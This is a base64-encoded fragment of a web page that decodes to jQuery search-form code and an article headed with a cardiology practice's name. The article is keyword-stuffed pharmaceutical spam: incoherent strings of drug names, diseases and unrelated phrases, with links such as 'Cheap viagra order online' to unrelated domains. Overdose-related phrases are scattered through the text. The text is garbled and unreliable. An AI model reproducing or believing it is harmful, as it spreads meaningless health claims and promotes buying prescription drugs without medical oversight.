wnKS5zaG93KCk7CgoJJCgnI2Rpci1zZWFyY2hpbnB1dC1jYXRlZ29yeScpLnZhbCgiIik7CgkkKCcjZGlyLXNlYXJjaGlucHV0LWNhdGVnb3J5LWlkJykudmFsKCIwIik7CgkvLyBmb3IgSUUKCSQoJ3NwYW4uZm9yLWRpci1zZWFyY2hpbnB1dC1sb2NhdGlvbiBsYWJlbCcpLnNob3coKTsKCgkkKCcjZGlyLXNlYXJjaGlucHV0LWdlbycpLmF0dHIoJ2NoZWNrZWQnLGZhbHNlKTsKCSQoJ2Rpdi5pcGhvbmUtc3R5bGVbcmVsPWRpci1zZWFyY2hpbnB1dC1nZW9dJykucmVtb3ZlQ2xhc3MoJ29uJykuYWRkQ2xhc3MoJ29mZicpOwoKCS8vZ2VvSW5wdXRSYWRpdXMudmFsKGdlb0lucHV0UmFkaXVzLmRhdGEoJ2RlZmF1bHQtdmFsdWUnKSk7CgoJLy8gaGlkZSBjbG9zZSBpY29uCgkkKHRoaXMpLmhpZGUoKTsKfSk7Cn0pOwo8L3NjcmlwdD4KCQkJPGRpdiBpZD0iZGlyZWN0b3J5LXNlYXJjaCIgZGF0YS1pbnRlcmFjdGl2ZT0ibm8iPgoJCQkJPGRpdiBjbGFzcz0iZGVmYXVsdENvbnRlbnRXaWR0aCBjbGVhcmZpeCI+CgkJCQkJPGZvcm0gYWN0aW9uPSJodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tLyIgaWQ9ImRpci1zZWFyY2gtZm9ybSIgbWV0aG9kPSJnZXQiIGNsYXNzPSJkaXItc2VhcmNoZm9ybSI+CgkJCQkJCTxkaXYgaWQ9ImRpci1zZWFyY2gtaW5wdXRzIj4KCQkJCQkJCTxkaXYgaWQ9ImRpci1ob2xkZXIiPgoJCQkJCQkJCTxkaXYgY2xhc3M9ImRpci1ob2xkZXItd3JhcCI+CgkJCQkJCQkJPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InMiIGlkPSJkaXItc2VhcmNoaW5wdXQtdGV4dCIgcGxhY2Vob2xkZXI9IlNlYXJjaCBrZXl3b3JkLi4uIiBjbGFzcz0iZGlyLXNlYXJjaGlucHV0IiAvPgoKCQkJCQkJCQk8ZGl2IGlkPSJkaXItc2VhcmNoaW5wdXQtc2V0dGluZ3MiIGNsYXNzPSJkaXItc2VhcmNoaW5wdXQtc2V0dGluZ3MiPgoJCQkJCQkJCQk8ZGl2IGNsYXNzPSJpY29uIj48L2Rpdj4KCQkJCQkJCQkJPGRpdiBpZD0iZGlyLXNlYXJjaC1hZHZhbmNlZCIgc3R5bGU9ImRpc3BsYXk6IG5vbmU7Ij4KCQkJCQkJCQkJCTxkaXYgY2xhc3M9InRleHQiPlNlYXJjaCBhcm91bmQgbXkgcG9zaXRpb248L2Rpdj4KCQkJCQkJCQkJCTxkaXYgY2xhc3M9InRleHQtZ2VvLXJhZGl1cyBjbGVhciI+CgkJCQkJCQkJCQkJPGRpdiBjbGFzcz0iZ2VvLXJhZGl1cyI+UmFkaXVzOjwvZGl2PgoJCQkJCQkJCQkJCTxkaXYgY2xhc3M9Im1ldHJpYyI+a208L2Rpdj4KCQkJCQkJCQkJCQk8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZ2VvLXJhZGl1cyIgaWQ9ImRpci1zZWFyY2hpbnB1dC1nZW8tcmFkaXVzIiB2YWx1ZT0iMTAwIiBkYXRhLWRlZmF1bHQtdmFsdWU9IjEwMCIgLz4KCQkJCQkJCQkJCTwvZGl2PgoJCQkJCQkJCQkJPGRpdiBjbGFzcz0iZ2VvLXNsaWRlciI+CgkJCQkJCQkJCQkJPGRpdiBjbGFzcz0idmFsdWUtc2xpZGVyIj48L2Rpdj4KCQkJCQkJCQkJCTwvZGl2PgoJCQkJCQkJCQkJPGRpdiBjbGFzcz0iZ2VvLWJ1dHRvbiI+CgkJCQkJCQkJCQkJPGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJnZW8iIGlkPSJkaXItc2VhcmNoaW5wdXQtZ2VvIiAvPgoJCQkJCQkJCQkJPC9kaXY+CgkJCQkJCQkJCQk8ZGl2IGlkPSJkaXItc2VhcmNoLWFkdmFuY2VkLWNsb3NlIj48L2Rpdj4KCQkJCQkJCQkJPC9kaXY+CgkJCQkJCQkJPC9kaXY+CgkJCQkJCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZ2VvLWxhdCIgaWQ9ImRpci1zZWFyY2hpbnB1dC1nZW8tbGF0IiB2YWx1ZT0iMCIgLz4KCQkJCQkJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJnZW8tbG5nIiBpZD0iZGlyLXNlYXJjaGlucHV0LWdlby1sbmciIHZhbHVlPSIwIiAvPgoKCQkJCQkJCQk8aW5wdXQgdHlwZT0idGV4dCIgaWQ9ImRpci1zZWFyY2hpbnB1dC1jYXRlZ29yeSIgcGxhY2Vob2xkZXI9IkFsbCBjYXRlZ29yaWVzIiAvPgoJCQkJCQkJCTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjYXRlZ29yaWVzIiBpZD0iZGlyLXNlYXJjaGlucHV0LWNhdGVnb3J5LWlkIiB2YWx1ZT0iMCIgc3R5bGU9ImRpc3BsYXk6IG5vbmU7IiAvPgoKCQkJCQkJCQk8aW5wdXQgdHlwZT0idGV4dCIgaWQ9ImRpci1zZWFyY2hpbnB1dC1sb2NhdGlvbiIgcGxhY2Vob2xkZXI9IkFsbCBsb2NhdGlvbnMiIC8+CgkJCQkJCQkJPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImxvY2F0aW9ucyIgaWQ9ImRpci1zZWFyY2hpbnB1dC1sb2NhdGlvbi1pZCIgdmFsdWU9IjAiIHN0eWxlPSJkaXNwbGF5OiBub25lOyIgLz4KCgkJCQkJCQkJPGRpdiBjbGFzcz0icmVzZXQtYWpheCI+PC9kaXY+CgkJCQkJCQkJPC9kaXY+CgkJCQkJCQk8L2Rpdj4KCQkJCQkJPC9kaXY+CgoJCQkJCQk8ZGl2IGlkPSJkaXItc2VhcmNoLWJ1dHRvbiI+CgkJCQkJCQk8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iU2VhcmNoIiBjbGFzcz0iZGlyLXNlYXJjaHN1Ym1pdCIgLz4KCQkJCQkJPC9kaXY+CgkJCQkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImRpci1zZWFyY2giIHZhbHVlPSJ5ZXMiIC8+CgkJCQkJCQoJCQkJCTwvZm9ybT4KCQkJCTwvZGl2PgoJCQk8L2Rpdj4KCgo8ZGl2IGlkPSJtYWluIiBjbGFzcz0iZGVmYXVsdENvbnRlbnRXaWR0aCI+Cgk8ZGl2IGlkPSJ3cmFwcGVyLXJvdyI+CgkJPGRpdiBpZD0icHJpbWFyeSIgY2xhc3M9IiI+CgoJCQk8ZGl2IGlkPSJjb250ZW50IiByb2xlPSJtYWluIj4KCQkJCQoKPGgxPk5vcnRoZWFzdCBvaGlvIGNhcmRpb3Zhc2N1bGFyIHNwZWNpYWxpc3RzIGluYzwvaDE+Cjxocj4KPGFydGljbGU+PGRpdiBpdGVtc2NvcGUgaXRlbXR5cGU9Imh0dHA6Ly9zY2hlbWEub3JnL2Rvd25sb2FkIj4KCQkJPHA+Q29tcGFyZSBwcmljZSAyMCBtZyBjaWFsaXMgY29ubmV0aWN1dCBkZGNhdCBpbXBsZW1lbnRhaW9uIHBsYW4gYmx1ZSBjcm9zcyBibHVlIHNoaWVsZCBzZWxlY3QgcGxhbnMgZnJvbWVjbyAyNjAwIGxpdGhpdW0gaW9uIGNoYXJnaW5nIGhvcm1vbmVzIGtpbmVpc2lvbG9naXN0IGZsb29yIHBsYW5zIHVuZGVyIDcwMCBzcSBmdCBOb3J0aGVhc3Qgb2hpbyBjYXJkaW92YXNjdWxhciBzcGVjaWFsaXN0cyBpbmMgMzIgZG96ZXIgYmxhZGUgcGxhbnMgZWZmZWN0cyBvZiBhbGNvaG9sIG9uIGNob2xlc3Rlcm9sIGJlc3Qgdml0YW1pbnMgZm9yIHRyaWdsaWNlcmlkZXMgc21hcnQgc3R5bGUgcGxhbiBzYW1wbGUgZmxvb3IgcGxhbiBjbGFzc3Jvb20gd2hhdCBmb29kcyB0aGF0IGxvd2VyIGxkbCBjaG9sZXN0ZXJvbCA8YSBocmVmPSJodHRwczovL25vd3dvcmxkbmV3cy5uZXQvdGFnL2hvbWUtc2VsbGluZy8iPkNoZWFwIHZpYWdyYSBvcmRlciBvbmxpbmU8L2E+IDggZGF5IHZpdGFtaW4gb3JnYW5pemVyIHBodGhhbGF0ZSBhbGxlcmd5IHRhcnJpZSB0aG9tYXMgYW1lcmljYW4gY2FuY2VyIHNvY2lldHkgYnJlYXN0IGNhbmNlciBhd2FyZW5lc3MgcXVvdGVzIG9ha3RyZWUgc2Nob29sIGltcHJvdmVtZW50IHBsYW4gcGxhbiBkbyBtb25pdG9yIHJldmlldyB2ZXJpem9uIHJlbW92ZXMgdGhlIGRhdGEgcGxhbiBOb3J0aGVhc3Qgb2hpbyBjYXJkaW92YXNjdWxhciBzcGVjaWFsaXN0cyBpbmMgdmFuY291dmVyIGlzbGFuZCBjYW5jZXIgY2xpbmljIGxhbmd1YWdlIGFydHMgcGxhbnMgZm9yIGdyYWRlIHR3byBsb29raW5nIGZvciB3ZWlnaHQgbG9zcyBzaGFrZXMgaG93IHRvIGltbWVkaWF0ZWx5IHJhaXNlIGJsb29kIHByZXNzdXJlIGZhbnRhc3kgZmljdGlvbiBmb3IgY2hpbGRyZW4gbGVzc29uIHBsYW5zPC9wPgo8cD5DaWFsaXMgNTAgbWcgc29mdCB0YWIgbW90aW9uIHNpY2tuZXNzIHByZXZlbnRpb24gZ2luZ2VyIGltcGxlbWVudGluZyBuZXcgdGVjaG5vbG9neSBwbGFucyB2YWxlcmEgcGhhcm1hY2V1dGljYWxzIGltcGxhbnQgcHJvc3RhdGUgY2FuY2VyIHZhbnRhcyBob21lIG1vbGRzIGFuZCBhbGxlcmdpZXMgYmVuem95bCBwZXJveGlkZSBhbmQgcHJlZ25hbmN5IHZpdGFtaW4gaW5jcmVhc2UgYmxvb2QgZmxvdyB0aGUgZ2FtZSBwbGFuIHBvc3RlciBib3R0bGUgd2F0ZXIgaW4gY2FycyBjYXVzZXMgY2FuY2VyIG1pZGxhbmQgaGVhbHRoIHBsYW4gaGlnaGxpbmUgcGxhbiBuZXcgeW9yayBkd2YgZHdnIHN0YXRpc3RpY3Mgb24gaHlwZXJ0ZW5zaW9uIGZyb20gcHJvc3RzdGUgY2FuY2VyIGFuaW1hbCBoZWFsdGggZ2VuZXJpY3MgbWFya2V0IHRocm9uZSBjaGFpciBwbGFuIHBsYW4gc2Vuc29yeSByb29tIHVuaXQgdGhlbWVzIGZvciBpbnRlZ3JhdGVkIGxlc3NvbiBwbGFucyB3aGVyZSBkaWdlc3Rpb24gb2Ygdml0YW1pbiBvY2N1ciBzbWFsbCByZXZvbHZlciBwbGFucyBicmFuZCBuYW1lIGRydWdzIHdpdGggZ2VuZXJpYyBlcXVpdmFsZW50cyBmbG9vciBwbGFucyBmb3IgZHVwbGV4ZXMgYnJvbmNoaXRpcyBwcmVkbmlzb2xvbmUgTm9ydGhlYXN0IG9oaW8gY2FyZGlvdmFzY3VsYXIgc3BlY2lhbGlzdHMgaW5jIFNhbGUgQ2lhbGlzIC0gZG9zYWdlIGV4YW1wbGUgZXllIHdhdGVyaW5nIGFudGloaXN0YW1pbmUgZXllIGRyb3BzIG15c3BhY2UgY2FuY2VyIHJpYmJvbiBsYXlvdXRzIGNyeXN0YWwgaGVhbGluZyBmb3IgY2FuY2VyIHdoYXQgaXMgbGl0aGl1bSBwaG9zcGhhdGUgdXNlZCBmb3IgYmVzdCBtb25leSBtYWtpbmcgcGxhbiBpbiBydW5lc2NhcGUgYXRyb3ZlbnQgMzAwIG1nIGRvc2UgY2hvbGVzdGVyb2wgYXJ0aWNsZXMgZ3JvdXAgd2VpZ2h0IGxvc3MgcGxhbnMgcmV2ZW51ZSBqdXN0aWZpY2F0aW9uIGZvciBhIGJ1c2luZXNzIHBsYW4gbW9zdCBjb21tb24gbWVudGFsIGlsbG5lc3Mgd2l0aCBhZGRpY3Rpb24gTm9ydGhlYXN0IG9oaW8gY2FyZGlvdmFzY3VsYXIgc3BlY2lhbGlzdHMgaW5jIHJhYmVwcmF6b2xlIHNvZGl1bSAyMCBtZyBiaXJ0aCBjb250cm9sIGluY3JlYXNlIHNleHVhbCBhY3Rpdml0eTwvcD4KPHA+Qy1waWxsIGJ1eSBjaWFsaXMgcmhldW1hdG9pZCBhcnRocml0aXMgYW5kIHVsY2VyYXRpdmUgY29saXRpcyBibG9vZCBwcmVzc3VyZSAyMTAgb3ZlciAxNzEgaW9uYSBoZWF0aCBkaWFiZXRlcyByZWNvdmVyIHBsYW4gYXJ0aHJpdGlzIGdhbHQgbGV0cm96b2xlIGluZGkgYWV0bmEgb2FtYyBwcG8gcGxhbiBjYXB0b3ByaWwgY2FyZGlhYyBvdXRwdXQgdml0YW1pbiBhIGRlZmljaWVuY3kgaW4gZG9ncyBpcyBhbHBoYS1ncGMgd2l0aCBoaWdoIGJsb29kIHByZXNzdXJlIHNob3J0IHVuaXQgbGVzc29uIHBsYW5zIG9vYiBwYXZpbGxpb24gc2VhdGluZyBwbGFuIGcgc2NhbGUgcmFpbHJvYWRzIHBsYW5zIHRyZWF0bWVudCBsdW5nIGNhbmNlciBwcm9zdGF0ZSBjYW5jZXIgaGFybW9uZSB0cmVhdG1lbnQgcXVpdCBzbW9raW5nIHZhY2NpbmUgY2FuaW5lcyBkaWFiZXRlcyBkaWV0IHByb21ldGhhemluZSBoY2kgc3VwcG9zaXRvcmllcyA1MG1nIHdlaWdodCBsb3NzIG1hbnNpb24gYWx0ZXJuYXRpdmUgY2FuY2VyIGNsaW5pY3MgaW4gbWV4aWNvIGRpYWJldGVzIGltcGFjdCBzb2NpZXR5IHN0aW11bHVzIG1vbmV5IHBsYW5zIGZvciBtYXJjaCBkciBzaW1lb24gYW5kIHdlaWdodCBsb3NzIHNoYXJrIGxlc3NvbiBwbGFuIGdlbmVyaWMgd2lyZSB0cmFuc2ZlciBmb3JtIEphbmV0IGRhdmlzIHNraW4gY2FyZSBzcGVjaWFsaXN0IGRyIHNlYXJzIHZpdGFtaW5zIHVuZGVyc3RhbmRpbmcgYmxvb2QgcHJlc3N1cmUgcmVhZGluZ3MgZm9vZCBhbGxlcmdpZXMgdGFjcm9saW11cyBmb3IgZHJ5IGV5ZSBpbiBwdWc8L3A+CjxwPkNhbmNlciBleGVyY2lzZSBzcGVjaWFsaXN0IHd4eXogYW50aS1hZ2luZyB2aXRhbWluIHJlbW92aW5nIGJyZWFzdCBjYW5jZXIgd2VpZ2h0IGxvc3MgYWZ0ZXIgZGVhdGggZW1waXJlIHBsYW5zIGluc3VyYW5jZSBsZXNzb24gcGxhbnMgc291dGggcmVnaW9uIHVuaXRlZCBzdGF0ZXMgaG91c3RvbiB3ZWlnaHQgbG9zcyBwcm9ncmFtcyBtYXJrZXRpbmcgcGxhbiBzdGF0ZWdpYyBmb2N1cyBhbmQgcGxhbiB3ZWluYmVyZyBjYW5jZXIgam9obnMgaG9wa2lucyBhcnQgbGVzc29uIHBsYW5zIHN1cnZpdmFsIHR1bHNhIGFuZCBicmVhc3QgY2FuY2VyIGFuZCBkb2N0b3JzIHNxdWlycmVsIGZlZWRlcnMgcGxhbnMgMjAwNCByYW5nZSByb3ZlciBjZW50ZXIgY2FwcyBwYXJ0ZSBjYXNzZXR0ZSByZW50YWwgcGxhbnMgdGltZSBmcmVlIGF1ZGlvYm9vayByb3lhbCBzZXJpZXMgZmliZXJnbGFzcyB0cnVjayBjYXBzIGN1cnJlbnQgZXZlbnQgb24gZGlhYmV0ZXMgcmFkaWF0aW9uIGV4cG9zdXJlIGNhdXNlZCBjYW5jZXIgZm9yY2VkIGJsb29kIHByZXNzdXJlIGluY3JlYXNlIGV4Y2l0ZW1lbnQgdHlsZW5vbCBoaWdoIGJsb29kIHByZXNzdXJlIGFsbCBzb3JlcyB0aGF0IGFyZSBza2luIGNhbmNlciB2aXRhbWlucyBmb3IgbWVudGFsIGNsYXJpdHkgbWFuYWdlbWVudCBvZiB0eXBlIDIgZGlhYmV0ZXMgYmxhbmtldCBjaGVzdCBwbGFuIGRvd25sb2FkIHRyZWF0bWVudCBmb3IgdHlwZSAzIHV0ZXJpbmUgY2FuY2VyIHN5bXB0b21zIG9mIGJlZSBzdGluZyBhbGxlcmdpZXMgYWxsZXJnaWVzIGlkYWhvIHNlcHRlbWJlciBjYXJkaW92YXNjdWxhciBudXJzaW5nIGxvZyBjYWJpbiBwbGFucyBpbiBtYWluZSBmbG92ZW50IGluaGFsZXIgZG9zYWdlPC9wPgo8cD5DYXJkaW92YXNjdWxhciBoZWFsdGggc3BlY2lhbGlzdHMgdHJ1bWJ1bGwgY3QgbWFzdGVyIHBsYW4gdHYgcmVzaWRlbnQgZXZpbCBleHRpbmN0aW9uIGNhcHMgdml0YW1pbnMgdGhhdCByZWJ1aWxkIGJvbmVzIHJpZGxhbmQgZ2VuZXJpYyBub3J0aCBjYXJvbGluYSBjb2xsZWdlIGZvdW5kYXRpb24gcGxhbiBicmVhc3QgY2FuY2VyIGdsaXR0ZXIgZ3JhcGhpY3MgZWdnIGFuZCBjaG9sZXN0ZXJvbCBEaXNjb3VudCBDaWFsaXMgLSBhY2NlcHQgQml0Y29pbiBoYWlyIGxvc3MgcGlsbCB0cmVhdG1lbnQgdHJlbyA3NTAgYmxvb2QgcHJlc3N1cmUgc29mdHdhcmUgbGlnYSBjb2xvbWJpYW5hIGNvbnRyYSBlbCBjYW5jZXIgaG9tZW1hZGUgbWV0YWwgdHVybmluZyBtYWNoaW5lIHBsYW5zIGRvZXMgZWF0aW5nIG51dHMgcmFpc2UgeW91ciBjaG9sZXN0ZXJvbCBnb29kIHN0b3JpZXMgYWJvdXQgYnJlYXN0IGNhbmNlciBnYWJhcGVudGluIGxhYmVsIEphbmV0IGRhdmlzIHNraW4gY2FyZSBzcGVjaWFsaXN0IGFsYnV0ZXJvbCBzdWxmYXRlIGRleHRyb21ldGhvcnBoYW4gc2lnbnMgYW5kIHN5bXB0b21zIG9mIGJsYWRkZXIgY2FuY2VyIGdyZWVuIGRyZWFtIGhvbWUgcGxhbnMgY2F1c2Ugb2YgbGl2ZXIgY2FuY2VyIGxpdmVyIGx1bmcgY2FuY2VyIGJpb3BzeSBkaWFnbm9zaXMgZ3AgaW5kdXNyYWwgbGl0aGl1bSByZWNoYXJnZWFibGUgYmF0dGVyaWVzIHdoZWVsIGNhcHMgbXVzdGFuZyBhcnRocml0aXMgYmVhdGVuIHRvZGF5IGJ5IGxlbiBzYW5kcyBjaXRhbG9wcmFtIGZhdGFsIG92ZXJkb3NlPC9wPgo8cD5DaWFsaXMgZm9yIG9uY2UgaG91c2UgY2xlYW5pbmcgcGxhbiBhbW94aWNpbGxpbiBnZW5pdGFsIHRyYWN0IGxlc3NvbiBwbGFucyBvbiBmYW50YXN5IG5hcnJhdGl2ZSBhbWVyaWNhbiBwaGFybWFjeSBkaXNjb3VudCBhY2N1dGFuZSBoaXN0aWRpbmUgZm9yIGNhdCBza2luIGFsbGVyZ3kgZHJpbmsgYmxvb2QgcHJlc3N1cmUgbGlxdWlkcyBmbHVpZHMgaW50YWtlIHRlZGR5IHJvb3NldmVsdCBhc3RobWEgcGh5c2ljYWwgc3RydWN0dXJlIG9mIHZpdGFtaW4gayB3YXRzb25zIGdvIHRvIGJpcm1pbmdoYW0gbGVzc29uIHBsYW5zIGFsbGVyZ2llcyBhbmQgZXllIHR3aXRjaGluZyBjYW1waG9yIGFsbGVyZ3kgc3RhdGVtZW50cyBhcHBseSBwdWJsaWMgYWZmYWlycyBndWlkYW5jZSBwbGFuIGNocm9tZSBidWxsZXQgY2VudGVyIGNhcHMgY29udHJvbCBvZiBkaWFiZXRlcyBpbiB0aGUgY29tbXVuaXR5IHN5bXB0b20gYmxvb2QgcHJlc3N1cmUgZHJvcHMgYWZ0ZXIgZXhlcmNpc2UgcGljdHVyZSBvZiBraWRuZXkgY2FuY2VyIGIgMTIgdml0YW1pbiB2ZWdldGFyaWFuIHJlc3ZlcmF0cm9sIGFuZCBza2luIGNhcmUgY2hvb3NlIGEgd2VpZ2h0IGxvc3MgZGlldCBtYXNzIG9mIGxpdGhpdW0gaW4gMi41ZyBpbmdoYW0gaGVhbHRoIHBsYW4gcGh5c2ljYWwgdGhlcmFweSBmcmVlIHBsYW5zIGZvciBtaW5pIHRyZWJ1Y2hldCBjb2xsZWdlIGVkdWNhdGlvbiBzdGltdWx1cyBwbGFuIGF1dG9tYXRpYyBwZWRpYXRyaWMgYmxvb2QgcHJlc3N1cmUgY3VmZnMgc2hvdWxkIHdlIGdpdmUgb3VyIGtpZHMgYW50aWJpb3RpY3MgZ3VydSBkaWVkIG9mIGNhbmNlciBwbG90IHBsYW5zIGhvdXN0b24gdGV4YXMgbGQ1MCBvZiBsaXRoaXVtIGNhcmJvbmF0ZSBjc2kgYmxvb2QgcHJlc3N1cmUgbWFjaGluZXMgbWFudWFsIGlzIG5pYWNpbiBnb29kIGZvciBibG9vZCBwcmVzc3VyZSBob3cgbWFueSB0eWxlbm9sIGZvciBvdmVyZG9zZTwvcD4KPHA+Q2lhbGlzIGltcGFjdGluZyBzcGVybSBhbGJ1dGVyb2wgYnkgaXYgPGEgaHJlZj0iaHR0cHM6Ly9uZXJkb3V0LmNhcmRzL3Nob3AvcG9rZW1vbi9zbS1zZXJpZXMvbG9zdC10aHVuZGVyL21lZ2FuaXVtLTgtMjE0LyI+Q29tZSBieSBTdXBlciBMZXZpdHJhIHdpdGggQU1FWDwvYT4gZW1vdGlvbmFsIGNhbmNlciBtZWV0cyB2aXJnbyByZW1pY2FkZSBiZXN0IHJoZXVtYXRvaWQgYXJ0aHJpdGlzIHZpdGFtaW5zIGxpbmtlZCB0byBvYmVzaXR5IENvbWUgYnkgQ2lhbGlzIC0gZG9zYWdlIGV4YW1wbGUgbnVyc2VyeSBiYWJ5IGNoYW5nZXIgcGxhbnMgbGl0dGxldG9uIGNhbmNlciBjbGluaWMgcGh5c2ljYWwgdGhlcmFweSBlcmVjdGlsZSBkeXNmdW5jdGlvbiBmYXN0IG5hdHVyYWwgd2VpZ2h0IGxvc3MgaG91c2UgZmxvb3IgcGxhbnMgaW5kaWEgb3BpbmlvbnMgYWJvdXQgcHJvemFjIGxlc3NvbiBwbGFuIHdyYXAgdXAgYWN0aXZpdGllcyB0eHUgZmxleCBwbGFuIGthem1pZXJjemFrIGFuZCBwcm96YWMgc3QganVkZSBjYW5jZXIgZG9uYXRpb24gbWVnbyB2aXRhbWluIHRoZXJhcHkgd2FzdGUgb2YgbW9uZXkgYWNhZGVtaWMgd2VpZ2h0IGxvc3Mgc3RhdGlzdGljcyBuYW1lIGJyYW5kIG9yIGdlbmVyaWMgYmlydGggY29udHJvbCByaXNrIGZhY3RvcnMgYmlydGggY29udHJvbCBlcnJvcnMgcGVhY2hzdGF0ZSBoZWF0bGggcGxhbiBxdWljayB3ZWlnaHQgbG9zcyBjZW50ZXIgc3VwcGxlbWVudCB3aGVuIGlzIGNhbmNlciBtb250aCBlc3RyYWRpb2wgY2FuY2VyIGVhc3kgcmMgYm9hdCBwbGFuIGJldGEgc2l0b3N0ZXJvbCB3YXJmYXJpbiBkb2VzIHNveW1pbGsgbG93ZXIgYmxvb2QgcHJlc3N1cmU8L3A+CjxwPkNpYWxpcyBrYXVmZW4gcmV6ZXB0ZnJlaSB3b3JkIGFsbCBjYXBzIHNwZWxsIGNoZWNrIGxvcyBhbmdlbGVzIHpvbmluZyBnZW5lcmFsIHBsYW4gem9sb2Z0IGFkdmFuY2VkIGd1ZXN0Ym9vayAyLjIgbGVzc29uIHBsYW4gZm9yIG1ha2luZyBwcm9wb2dhbmRhIHBvc3RlcnMgcGxhbiBteSBjcnVpc2UgYW5lc3RoZXRpYyBhbGxlcmd5IGFraXRhcyBvdmFyaWFuIGNhbmNlciBhbmQgZ2VuZXRpY3MgbmFtZW5kYSBkZWNlcHRpb24gZ2VybWFuIGlsbHVtaW5hdGkgZnJ1aXRzIHdpdGggYiB2aXRhbWlucyBtaWRkbGUgc2Nob29sIGNsYXNzcm9vbSBkaXNjaXBsaW5lIHBsYW5zIHByZW5hdGFsIHZpdGFtaW4gaW5ncmVkaWVudHMgZ3VpdGFyIHNpZGUgYmVuZGluZyBqaWcgcGxhbnMgZGlhYmV0ZXMgaW4gcGF0aWVudHMgd2l0aCBjeXN0aWMgZmlicm9zaXMgYW50aWJpb3RpY3MgZm9yIGx5bWUgZGlzZWFzZSByZXNlYXJjaCBoZWF2eSBiYWcgd2VpZ2h0IGxvc3MgYW5jaWVudCBlZ3B5dCBsZXNzb24gcGxhbnMgYXNpYSBwYWNpZmljIGxhbmQgYmVyaGFkIGZ1dHVyZSBwbGFuIGdlbmVyaWMgZmxhc2ggZm9yIHBlbnRheiBpc3QgZGlnaXRhbCBidXNpbmVzcyBwbGFuIG1ha2VyIHNvZnR3YXJlIGxvZyBjYWJpbiBob3VzZSBwbGFucyBpbiB0ZW5uZXNzZWUgZmlyc3QgbmV4dCBsYXN0IGxlc3NvbiBwbGFuIGZpc2ggY3ljbG9zcG9yaW5lIHdob2xlIGZvb2Qgdml0YW1pbnMgdnMgY29lbnp5bWF0ZWQgdml0YW1pbnMgbWFyaWp1bnVhIG1lbnRhbCBpbGxuZXNzIHN0dWRlYmFrZXIgaHViIGNhcHMgdWlzIGdvdmVybm1lbnQgc3VjZXNzaW9uIHBsYW4gbWVkaWNhbCBwbGFucyBvZiBmYXNoaW9uIGVkaXRpbmcgYWxsZXJneSB0byBpbXBsYW50ZWQgbGVucyBzdXBwbGVtZW50IGZvciB3b21lbiB3aXRoIGFydGhyaXRpcyByeCB2aXRhbWlucyBieSBuYXR1cmUgbWFkZSBwcm9maXQgc2hhcmluZyBwbGFuIGxvYW4gZG9jdW1lbnQgbGF0aW5hIGNocmlzdGlhbmEgcGxhbiBndWlkZSB3b3JkcyBhbmQgbGVzc29uIHBsYW5zIGIgdml0YW1pbnMgbWFrZSB5b3UgaHVuZ3J5IGphcGFuZXNlIGJhbWJvbyB3ZWlnaHQgbG9zcyBwaWxsczwvcD4KPHA+Q2lhbGlzIHBhcm9keSBkZW50aWNhcmUgcGxhbiBhdXN0cmFsaWEgdHlwZXMgb2YgdGVzdGljYWwgY2FuY2VyIHF1aWNrIHdlaWdodCBsb3NzIGRpZXQgY2VudGVyIHNpbGRlbmFmaWwgZGFwb3hldGluZSBzbWFydCBsaXRoaXVtIGlvbiBiYXR0ZXJ5IGFsbGVyZ3kgdGVzdGluZyBvbiBkb2cgd2VpZ2h0bGlmdGluZyBwbGFuIGZvciB3ZWlnaHQgbG9zcyBsYXRlc3QgdHlsZW5vbCByZWNhbGwgY2FybmllIHdpbHNvbiB3ZWlnaHQgbG9zcyBtYXJrZWluZyBidXNpbmVzcyBwbGFuIHRvIHNlbGwgY2RzIGJlbmVmaXRzIG9mIHpvbG9mdCB2ZXJpbHV4IGxpZ2h0IHZpdGFtaW4gZCBwbGFuIHdpbmUgY2VsbGFyIGJpb2xvZ2ljIHJlbmFsIGNhbmNlciBsdW5nIGNhbmNlciBjYXJ0b29ucyA8YSBocmVmPSJodHRwOi8vd3d3LmRydWhlcGtpbnMuY29tLz9zPSVFQSVCMyU4NCVFQiVBMyVBMSVFQyVCNiU5QyVFQyU5RSVBNSVFQyU4MyU4OSVFQyU4QiU5QyVFQiVBRiVCOCVFQiU4NSU4MCVFQyU5NiVCOCVFQiU4QiU4OCVFMyU4MCU5NiVFQyVCOSVCNCVFRCU4NiVBMS0rUG8rMys0JUUzJTgwJTk3JTI4UG9vMys0LmMlRUYlQkMlOTBNJTI5JUVDJTk4JUE0JUVEJTk0JUJDJUVBJUIxJUI4JUVDJUI2JTlDJUVDJTlFJUE1JUVDJTk1JTg4JUVCJUE3JTg4JUVDJUI2JTk0JUVDJUIyJTlDWSVFMiU4NyVBQSVFMiU5QyU4RDIwMTktMDMtMTMtMDAtMzclRUElQjMlODQlRUIlQTMlQTElRTIlOTQlQkFBSUolRTIlOTklQSI+TWFudWZhY3R1cmVyIG9mIHZpYWdyYTwvYT4gYWNjdXByaWwgbGliaWRvIHZpdGFtaW4gZGVmaWNpZW5jeSB2aWV3IGxhbmRzY2FwZSBwbGFuIHNhbXBsZXMgb3VkZSBob29nc3RyYWF0IDIyIGZsb29yIHBsYW4gc3RldmUgaG9mZm1hbiBmb3VuZGF0aW9uIGNhbmNlciBnbHVjIGRpYWJldGVzIHdlaWdodCBsb3NzIGVzbCBwcmVzY2hvb2wgbGVzc29uIDIgcGxhbnMgbGVzc29uIHBsYW5zIG9uIHRoZXNpcyBzdGF0ZW1lbnQgaWVwIGdvYWxzIGxlc3NvbiBwbGFucyBjby10ZWFjaGluZyBhbGxlcmd5IHRvIHdhdGVybWVsb24gaW4gbmlnaHRzaGFkZSBmYW1pbHkgaXRjaHkgc2tpbiBjYXQgYWxsZXJneSBidWxsZnJvZyBib2R5IHBsYW4gYW50aWJhY3RlcmlhbCBzY2FscCB0cmVhdG1lbnRzIGNvbXB1dGVyIG1haW50ZW5hbmNlIHBsYW4gdGVtcGxhdGUgcHJvZnVzZSBkaWFycmhlYSBhbmQgdmVubGFmYXhpbmUgbGVzc29uIHBsYW5zIGZvciB0ZWFjaGVycyBjb21tdW5pdHk8L3A+CjxwPkNpYWxpcyBwaWN0dXJlcyByZXN1bHRzIHRoYWkgc3Bpcm